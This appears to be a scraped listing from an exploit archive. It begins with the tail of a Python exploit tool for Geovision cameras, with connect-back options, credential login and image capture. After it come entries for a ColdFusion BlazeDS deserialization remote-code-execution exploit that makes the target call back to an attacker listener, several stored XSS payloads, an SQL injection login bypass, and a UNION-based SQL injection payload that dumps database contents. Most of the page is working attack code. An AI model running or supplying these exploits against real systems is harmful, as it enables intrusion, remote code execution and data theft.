    print INFO,"\nError: {}\n".format(str(e))
    sys.exit(1)

    print "\n[*]",INFO

    if args.verbose:
    verbose = args.verbose
    #
    # Check validity, update if needed, of provided options
    #
    if args.https:
    proto = HTTPS
    if not args.rport:
    rport = '443'

    if credentials and args.auth:
    credentials = args.auth

    if args.geotoken:
    GEOtoken = args.geotoken

    if args.anonymous:
    anonymous = True

    if args.deviceinfo:
    deviceinfo = True

    if args.dump:
    DumpSettings = True

    if args.filtersetting:
    FilterSetting = True

    if args.usersetting:
    usersetting = True

    if args.jpegstream:
    jpegstream = True

    if args.picturecatch:
    picturecatch = True

    if args.username:
    username = args.username

    if args.password:
    password = args.password

    if args.noexploit:
    noexploit = args.noexploit

    if args.rport:
    rport = args.rport

    if args.rhost:
    rhost = args.rhost
    IP = args.rhost

    if args.lport:
    lport = args.lport

    if args.lhost:
    lhost = args.lhost
    elif args.autoip:
    # HTTP check of our external IP
    try:

    headers = {
    'Connection': 'close',
    'Accept' : 'gzip, deflate',
    'Accept-Language' : 'en-US,en;q=0.8',
    'Cache-Control' : 'max-age=0',
    'User-Agent':'Mozilla'
    }

    print "[>] Trying to find out my external IP"
    lhost = HTTPconnect("whatismyip.akamai.com",proto,verbose,credentials,False,noexploit).Send("/",headers,None,None)
    if verbose:
    print "[Verbose] Detected my external IP:",lhost
    except Exception as e:
    print "[<] ",e
    sys.exit(1)

    # Check if RPORT is valid
    if not Validate(verbose).Port(rport):
    print "[!] Invalid RPORT - Choose between 1 and 65535"
    sys.exit(1)

    # Check if RHOST is valid IP or FQDN, get IP back
    rhost = Validate(verbose).Host(rhost)
    if not rhost:
    print "[!] Invalid RHOST"
    sys.exit(1)

    # Check if LHOST is valid IP or FQDN, get IP back
    lhost = Validate(verbose).Host(lhost)
    if not lhost:
    print "[!] Invalid LHOST"
    sys.exit(1)

    # Check if RHOST is valid IP or FQDN, get IP back
    rhost = Validate(verbose).Host(rhost)
    if not rhost:
    print "[!] Invalid RHOST"
    sys.exit(1)


    #
    # Validation done, start print out stuff to the user
    #
    if args.https:
    print "[i] HTTPS / SSL Mode Selected"
    print "[i] Remote target IP:",rhost
    print "[i] Remote target PORT:",rport
    if not args.geotoken and not args.dump and not args.deviceinfo:
    print "[i] Connect back IP:",lhost
    print "[i] Connect back PORT:",lport

    rhost = rhost + ':' + rport


    headers = {
    'Connection': 'close',
    'Content-Type' : 'application/x-www-form-urlencoded',
    'Accept' : 'gzip, deflate',
    'Accept-Language' : 'en-US,en;q=0.8',
    'Cache-Control' : 'max-age=0',
    'User-Agent':'Mozilla'
    }

    # Print Model and Firmware version
    Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).DeviceInfo()
    if deviceinfo:
    sys.exit(0)


    # Geovision token login within the function
    #
    if GEOtoken:
    Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).DeviceInfo()
    if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).GeoToken():
    print "[!] Failed"
    sys.exit(1)
    else:
    sys.exit(0)


    if anonymous:
    if jpegstream:
    if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).JpegStream(DumpSettings):
    print "[!] Failed"
    sys.exit(0)
    elif picturecatch:
    if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).PictureCatch(DumpSettings):
    print "[!] Failed"
    sys.exit(0)
    else:
    print "[!] Needed: --anonymous [--picturecatch | --jpegstream]"
    sys.exit(1)

    else:
    #
    # Geovision Login needed
    #
    if usersetting:
    if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
    if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).UserSetting(DumpSettings):
    print "[!] Failed"
    sys.exit(0)
    elif filtersetting:
    if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
    if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).FilterSetting():
    print "[!] Failed"
    sys.exit(0)
    elif jpegstream:
    if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
    if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).JpegStream(DumpSettings):
    print "[!] Failed"
    sys.exit(0)
    elif picturecatch:
    if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
    if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).PictureCatch(DumpSettings):
    print "[!] Failed"
    sys.exit(0)
    else:
    print "[!] Needed: --usersetting | --jpegstream | --picturecatch | --filtersetting"
    sys.exit(1)

    sys.exit(0)
    #
    # [EOF]
    #


    Adobe Coldfusion 11.0.03.292866 Remote Code Execution

    $
    0
    0

    Adobe Coldfusion version 11.0.03.292866 BlazeDS java object deserialization remote code execution exploit.


    MD5 | 46942c29e2b6e97ace05a01a10b9e844

    # Exploit Title: Adobe Coldfusion BlazeDS Java Object Deserialization RCE
    # Date: February 6, 2018
    # Exploit Author: Faisal Tameesh (@DreadSystems)
    # Company: Depth Security (https://depthsecurity.com)
    # Version: Adobe Coldfusion (11.0.03.292866)
    # Tested On: Windows 10 Enterprise (10.0.15063)
    # CVE: CVE-2017-3066
    # Advisory: https://helpx.adobe.com/security/products/coldfusion/apsb17-14.html
    # Category: remote

    # Notes:
    # This is a two-stage deserialization exploit. The code below is the first stage.
    # You will need a JRMPListener (ysoserial) listening at callback_IP:callback_port.
    # After firing this exploit, and once the target server connects back,
    # JRMPListener will deliver the secondary payload for RCE.

    import struct
    import sys
    import requests

    if len(sys.argv) != 5:
    print "Usage: ./cf_blazeds_des.py target_IP target_port callback_IP callback_port"
    quit()

    target_IP = sys.argv[1]
    target_port = sys.argv[2]
    callback_IP = sys.argv[3]
    callback_port = sys.argv[4]

    amf_payload = '\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\x11\x0a' + \
    '\x07\x33' + 'sun.rmi.server.UnicastRef' + struct.pack('>H', len(callback_IP)) + callback_IP + \
    struct.pack('>I', int(callback_port)) + \
    '\xf9\x6a\x76\x7b\x7c\xde\x68\x4f\x76\xd8\xaa\x3d\x00\x00\x01\x5b\xb0\x4c\x1d\x81\x80\x01\x00';

    url = "http://" + target_IP + ":" + target_port + "/flex2gateway/amf"
    headers = {'Content-Type': 'application/x-amf'}
    response = requests.post(url, headers=headers, data=amf_payload, verify=False)



    PHP Scripts Mall Doctor Search Script 1.0.2 Cross Site Scripting

    $
    0
    0

    PHP Scripts Mall Doctor Search Script version 1.0.2 suffers from a cross site scripting vulnerability.


    MD5 | be08ecb0a94b7c67c36583ccda5fc834

    ######################################################################################
    # Exploit Title: PHP Scripts Mall Doctor Search Script 1.0.2 has Stored XSS.
    # Date: 06.02.2018
    # Exploit Author: Prasenjit Kanti Paul
    # Web: http://hack2rule.wordpress.com/
    # Vendor Homepage: https://www.phpscriptsmall.com/
    # Software Link: https://www.phpscriptsmall.com/product/doctor-search-script/
    # Category: Web Application
    # Version: 1.0.2
    # Tested on: Linux Mint
    # CVE: CVE-2018-6655
    #######################################################################################

    *Proof of Concept*
    1. Login as a user
    2. Goto "Edit Profile"
    3. Edit any field with "<script>alert("PKP")</script>"
    4. Save Profile
    5. You will be having a popup "PKP"


    Entrepreneur Dating Script 2.0.2 SQL Injection

    $
    0
    0

    Entrepreneur Dating Script version 2.0.2 suffers from a remote SQL injection vulnerability that allows for authentication bypass.


    MD5 | 37b651d336e329ba123f9e285d8625d7

    # Exploit Title: Entrepreneur Dating Script 2.0.2 - Authentication Bypass
    # Dork: N/A
    # Date: 2018-02-07
    # Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com
    # Vendor Homepage: https://www.phpscriptsmall.com/product/entrepreneur-dating-script/
    # Version: 2.0.2
    # Category: Webapps
    # CVE: N/A
    # # # # #
    # Description:
    # With this exploit,attacker can login as any user without any authentication.
    # # # # #
    # Proof of Concept :

    # 1) First go to login page .

    # 2) Username : anything , Password : ' or 'x'='x

    PoC Video :
    http://s8.picofile.com/file/8318741292/Autentication_Bypass.mp4.html

    Test : http://server/login.php?lerr


    Multilanguage Real Estate MLM Script 3.0 Cross Site Scripting

    $
    0
    0

    Multilanguage Real Estate MLM Script versions 3.0 and below suffer from a persistent cross site scripting vulnerability.


    MD5 | 58cfbb53e0c63a3e0ec9b90184ede422

    ######################################################################################
    # Exploit Title: Multilanguage Real Estate MLM Script - Stored XSS
    # Date: 06.02.2018
    # Exploit Author: Prasenjit Kanti Paul
    # Web: http://hack2rule.wordpress.com/
    # Vendor Homepage: https://www.phpscriptsmall.com/
    # Software Link: http://www.exclusivescript.com/product/y2OP4658391/php-scripts/multilanguage-real-estate-mlm-script
    # Category: Web Application
    # Version: =>3.0
    # Tested on: Linux Mint
    # CVE: NA
    #######################################################################################

    Proof of Concept
    =================
    1. Login as a user
    2. Goto "Edit Profile"
    3. Edit any field with "<script>alert("PKP")</script>"
    4. Save Profile
    5. You will be having a popup "PKP"


    Hot Script Clone Script Classified 3.1 Cross Site Scripting

    $
    0
    0

    Hot Scripts Clone Script Classified version 3.1 suffers from a cross site scripting vulnerability.


    MD5 | a041aeacf9423ca61e1f086662e0a272

    ######################################################################################
    # Exploit Title: Hot Scripts Clone : Script Classified - Stored XSS
    # Date: 06.02.2018
    # Exploit Author: Prasenjit Kanti Paul
    # Web: http://hack2rule.wordpress.com/
    # Vendor Homepage: https://www.phpscriptsmall.com/
    # Software Link: https://www.phpscriptsmall.com/product/hot-scripts-clone-script-classified/
    # Category: Web Application
    # Version: 3.1
    # Tested on: Linux Mint
    # CVE: na
    #######################################################################################

    Proof of Concept
    =================
    1. Login to Hot Scripts Clone : Script Classified
    2. Select Any Ads
    3. Goto below review section and put "<script>alert("PKP")</script>" as
    title or description
    4. You will have popup of "PKP"


    Online Test Script 2.0.7 SQL Injection

    $
    0
    0

    Online Test Script version 2.0.7 suffers from a remote SQL injection vulnerability.


    MD5 | 06ba3c5e5e249db267655e898dca94b8

    # Exploit Title: Online Test Script 2.0.7 - 'cid' SQL Injection
    # Dork: N/A
    # Date: 2018-02-07
    # Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com
    # Vendor Homepage: https://www.phpscriptsmall.com/product/online-test-script/
    # Version: 2.0.7
    # Category: Webapps
    # CVE: N/A
    # # # # #
    # Description:
    # The vulnerability allows an attacker to inject sql commands.
    # # # # #
    # Proof of Concept :

    SQLi:

    # server/login.php?normal&cid=[SQL]

    # Parameter : cid (GET)
    # Type: UNION QUERY
    # Title: Generic UNION query (NULL) - 5 columns
    # payload : /*!00000UNION*/ ALL SELECT
    NULL,/*!00000Concat('L0RD',0x3C62723E,version(),0x3C62723E,user(),0x3C62723E,database())*/,/*!00000group_coNcat(0x3C62723E,table_name,0x3a,column_name)*/,NULL,NULL
    /*!00000from*/ information_schema.columns where table_schema=schema()%23

    Test :
    http://server/login.php?normal&cid=-2%20/*!00000UNION*/%20ALL%20SELECT%20NULL,/*!00000Concat(%27L0RD%27,0x3C62723E,version(),0x3C62723E,user(),0x3C62723E,database())*/,/*!00000group_coNcat(0x3C62723E,table_name,0x3a,column_name)*/,NULL,NULL%20/*!00000from*/%20information_schema.columns%20where%20table_schema=schema()%23


    Viewing all 13315 articles
    Browse latest View live